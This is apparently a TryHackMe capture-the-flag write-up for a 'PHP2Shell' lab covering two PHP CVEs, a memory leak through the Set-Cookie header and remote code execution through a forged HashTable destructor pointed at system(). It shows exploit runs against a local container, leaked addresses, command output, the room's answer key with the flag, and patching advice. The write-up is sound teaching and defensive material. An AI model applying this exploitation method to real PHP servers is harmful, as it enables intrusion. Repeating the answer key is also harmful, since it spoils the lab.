TryHackMe Writeup - PHP2Shell (CVE-2026-109618 & CVE-2026-109619)

Executive Summary

This writeup covers the room **PHP2Shell**, an analysis and practical exploitation lab detailing two critical vulnerabilities (**CVE-2026-109618** and **CVE-2026-109619**) present in the PHP runtime engine. These flaws allow an unauthenticated remote attacker to leak server memory, bypass Address Space Layout Randomization (ASLR), and achieve Remote Code Execution (RCE) on vulnerable PHP installations.

Technical Overview

1. The Pre-Execution Window (`session.upload_progress`)

PHP processes incoming `multipart/form-data` request bodies and updates session progress information *before* request initialization or script execution occurs. When a request includes a parameter matching `session.upload_progress.name` (default: `PHP_SESSION_UPLOAD_PROGRESS`), PHP executes upload progress tracking logic regardless of whether the target page handles file uploads or requires authentication.

2. The Flaw: Memory Bailout & Dangling Pointer (CWE-824)

When a request exceeds `memory_limit` , PHP performs a emergency recovery jump called a **bailout** (`longjmp()`). If a bailout occurs after a memory block is freed but before its pointer is cleared, a **dangling pointer** remains. In web server deployment models like Apache prefork with `mod_php` , worker processes are reused across HTTP requests, allowing the dangling pointer to persist into subsequent requests.

3. Vulnerability Breakdown

- **CVE-2026-109618 (Memory Disclosure):** The dangling pointer is read as an oversized string. The output is reflected back to the attacker inside the `Set-Cookie: PHPSESSID` HTTP response header, revealing heap and `libphp` library base addresses to bypass ASLR.
- **CVE-2026-109619 (Remote Code Execution):** The attacker occupies the freed memory chunk with a forged internal structure (`HashTable`) containing a destructor pointer (`pDestructor`) redirected to `system()` . Upon request termination, PHP calls `system()` with attacker-supplied arguments.

Lab Exploitation & Walkthrough

System Information

- **Target Host:** `127.0.0.1:8088`
- **Target Page:** `/index.php`
- **PHP Version:** `8.4.26` (Vulnerable)
- **Application Code:** `<?php echo "OK\n"; ?>`

Step 1: Environment Verification

Check the running Docker container and target PHP version:

```
ubuntu@tryhackme:~$ docker ps --format '{{.Names}}  {{.Image}}  {{.Status}}'
php2shell-target  php:8.4.26-apache  Up 5 minutes

ubuntu@tryhackme:~$ docker exec php2shell-target php -v
PHP 8.4.26 (cli) (built: Oct 21 2026 00:31:19) (NTS)
Zend Engine v4.4.26, Copyright (c) Zend Technologies
```

Verify target application response:

```
ubuntu@tryhackme:~$ curl -s http://127.0.0.1:8088/index.php
OK
```

Step 2: Running the Exploit Chain & ASLR Leak

Navigate to the exploit directory and run `exploit.py` to trigger the stage 1 (heap) and stage 2 (`libphp`) memory disclosures:

```
ubuntu@tryhackme:~$ cd ~/php2shell-bypass-aslr-exp
ubuntu@tryhackme:~/php2shell-bypass-aslr-exp$ python3 exploit.py -u
http://127.0.0.1:8088/index.php
```

Exploit Output:

```
[*] target http://127.0.0.1:8088/index.php (cmd='id>/out/p1')
[*] offsets loaded from /home/ubuntu/php2shell-bypass-aslr-
exp/out/offsets.env
[*] offsets: zif=0x465370 dtor=0x65eb60 htdata=0x690d8
[*] rotating worker over HTTP
```

```
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x75bacc200000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x75bacdea2000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x75bacc2690d8 ZIF=0x75bace307370
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

Step 3: Flag Extraction

Execute a payload command (`cat /f>/out/p1`) to read the root flag file:

```
ubuntu@tryhackme:~/php2shell-bypass-aslr-exp$ python3 exploit.py -u
http://127.0.0.1:8088/index.php -c 'cat /f>/out/p1' --proof-file out/p1
```

Exploit Output:

```
[*] target http://127.0.0.1:8088/index.php (cmd='cat /f>/out/p1')
[*] offsets loaded from /home/ubuntu/php2shell-bypass-aslr-
exp/out/offsets.env
[*] offsets: zif=0x465370 dtor=0x65eb60 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x75bacc200000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x75bacdea2000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x75bacc2690d8 ZIF=0x75bace307370
[+] W3 attempt 1
PROOF: THM{b4ilout_l3aves_th3_h3ap_dang1ing}
```

Room Task Solutions & Cheat Sheet

Task / Question	Answer
Default form field name that turns on upload progress tracking?	`PHP_SESSION_UPLOAD_PROGRESS`
One-word name for the `longjmp` performed during fatal out-of-	`bailout`

Task / Question	Answer
memory errors?	
Weakness class identifier behind PHP2Shell?	`CWE-824`
Version of PHP running on the target server?	`8.4.26`
Single word printed by `/index.php`?	`OK`
HTTP response header abused by CVE-2026-109618 to return process memory?	`Set-Cookie`
System user that commands execute as?	`www-data`
Captured Flag?	`THM{b4ilout_l3aves_th3_h3ap_dang1ing}`
Fixed PHP 8.4 release version?	`8.4.27`
Directive in `php.ini` set to `0` to disable upload progress feature?	`session.upload_progress.enabled`

Remediation & Mitigation Strategies

1. **Runtime Patching (Primary Solution):** Update PHP packages to patched releases: **8.5.12, 8.4.27, 8.3.36, or 8.2.35**, and restart all web server worker processes.
2. **Temporary Configuration Workaround:** Disable upload progress in `php.ini`:

```
session.upload_progress.enabled = 0
```

3. **Opcode Cache Disable:** Disable opcode caching to frustrate code execution paths:

```
opcache.enable = 0
```

4. **WAF Limitations:** In-process WAFs operating inside PHP do not protect against this attack because the vulnerability triggers during request parsing before application code or WAF scripts execute. Perimeter filtering must occur at an upstream web application firewall or reverse proxy level.